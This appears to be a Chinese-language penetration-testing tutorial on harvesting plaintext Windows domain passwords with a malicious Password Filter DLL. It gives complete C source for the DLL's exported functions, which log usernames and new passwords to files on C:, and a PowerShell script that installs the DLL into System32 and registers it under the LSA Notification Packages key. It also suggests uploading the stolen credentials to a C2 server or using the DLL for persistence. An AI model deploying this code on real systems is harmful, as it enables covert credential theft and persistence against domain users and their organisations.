环境说明
| IP | HOSTNAME | NOTE |
|---|---|---|
| 172.16.106.71 | KC360_WIN2012_1 | 域控 |
| 172.16.100.52 | KC360_WIN10_3 | 域内主机 |
前言
lsass.exe 简介
- lsass.exe是Windows中负责系统安全策略的进程,举个例子,当用户登录系统时,需要输入用户名和密码,那么lsass.exe就会对用户输入的用户名和密码进行校验。当然,修改用户名和密码也一样,会经过lsass.exe进程的校验。
账户密码组策略配置
- 在使用windows操作系统过程中,为了防止用户密码被轻易爆破,windows系统可以通过配置组策略开启密码的强度限制:
gpedit.msc -> 本地计算机策略 -> 计算机配置 -> Windows设置 -> 安全设置 -> 账户策略 -> 密码策略 -> 密码必须符合复杂性要求

- 注意:已加入域的系统不能在本机修改,组策略由域控负责,在Windows Server 2012 R2上配置组策略如下:
服务器管理器 -> 工具 -> 组策略管理 -> 组策略对象 -> Default Domain Controllers Policy -> 编辑 -> 计算机配置 -> 策略 -> Windows设置 -> 安全设置 -> 账户策略 -> 密码策略 -> 密码必须符合复杂性要求

Password Filter DLL 简介
- 上文中提到,用户修改密码时会通过lsass.exe进行校验,其中会lsass.exe进程会动态加载Password Filter DLL来进一步校验密码。也就是说,如果上一步中组策略无法满足对密码复杂度的要求,可以使用Password Filter DLL进一步提高密码的复杂度。
- 其中lsass.exe动态加载Password Filter DLL时会涉及到三个导出函数:InitializeChangeNotify、PasswordChangeNotify、PasswordFilter。
攻击原理阐述
- 我们通过自己编写Password Filter DLL,放置于%windir%\system32\目录下,然后通过向注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa下名称为Notification Packages的值添加Password Filter DLL的名称,重启系统之后,当用户再次修改密码的时候,lsass.exe会动态加载我们的恶意DLL,进而获取用户的明文密码。
- 因为利用前提条件需要密码必须符合复杂性要求的组策略开启,而域控是默认开启的,下图阐述了这一点:

复现过程
编译恶意的Password Filter DLL
BOOLEAN __stdcall InitializeChangeNotify(void)
{
return TRUE;
}
NTSTATUS __stdcall PasswordChangeNotify(PUNICODE_STRING UserName,ULONG RelativeId,PUNICODE_STRING NewPassword)
{
FILE* pFile;
int err = fopen_s(&pFile,"c:\\logFile1.txt", "a+");
if (err!=0)
{
return 0;
}
fprintf(pFile, "%wZ:%wZ\r\n",UserName,NewPassword);
fclose(pFile);
return 0;
}
BOOLEAN __stdcall PasswordFilter(PUNICODE_STRING AccountName,PUNICODE_STRING FullName,PUNICODE_STRING Password,BOOLEAN SetOperation)
{
FILE* pFile;
int err = fopen_s(&pFile,"c:\\logFile2.txt", "a+");
if (err!=0)
{
return 1;
}
fprintf(pFile, "%wZ:%wZ\r\n", AccountName,Password);
fclose(pFile);
return 1;
}
-
其中PasswordChangeNotify和PasswordFilter两个导出函数的传入参数中都会包含用户的明文密码,然后该代码将用户密码分别保存了一次,保存路径为c:\logFile1.txt和c:\logFile2.txt。
-
编译成功如下图:

加载Password Filter DLL的准备工作
-
首先将编译好的Win32Project3.dll放置于%windir%\system32\目录下
-
然后修改注册表的键值指向Win32Project3.dll
-
上诉一切可以通过Powershell自动化完成,如下图Win32Project3.dll位于E:\Payload目录下:

- Powershell代码如下:
$passwordFilterName = (Copy-Item "E:\payload\Win32Project3.dll" -Destination "C:\Windows\System32" -PassThru).basename
$lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
$notificationPackagesValues = $lsaKey.GetValue("Notification Packages")
$notificationPackagesValues += $passwordFilterName
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $notificationPackagesValues
- 以管理员权限执行上述代码

- 检查是否执行成功,如下图:


尝试窃取用户明文密码
- 执行完上述操作后,我们重启电脑,然后尝试修改本机用户密码。


- 如下图,在C盘下生成了logFile2和logFile1两个文件,并且获取到了用户刚才修改的密码。

- 不止有这种利用方式,我们还可以尝试在DLL中编写其他代码,将用户名和密码上传到咱们的C2服务器上,或者用来启动我们的后门程序,达到持久化的效果,不仅限于单个利用方式。
参考链接
https://pentestlab.blog/2020/02/10/credential-access-password-filter-dll/
https://malicious.link/post/2013/2013-09-11-stealing-passwords-every-time-they-change/
https://3gstudent.github.io/Password-Filter-DLL%E5%9C%A8%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84%E5%BA%94%E7%94%A8
https://github.com/3gstudent/PasswordFilter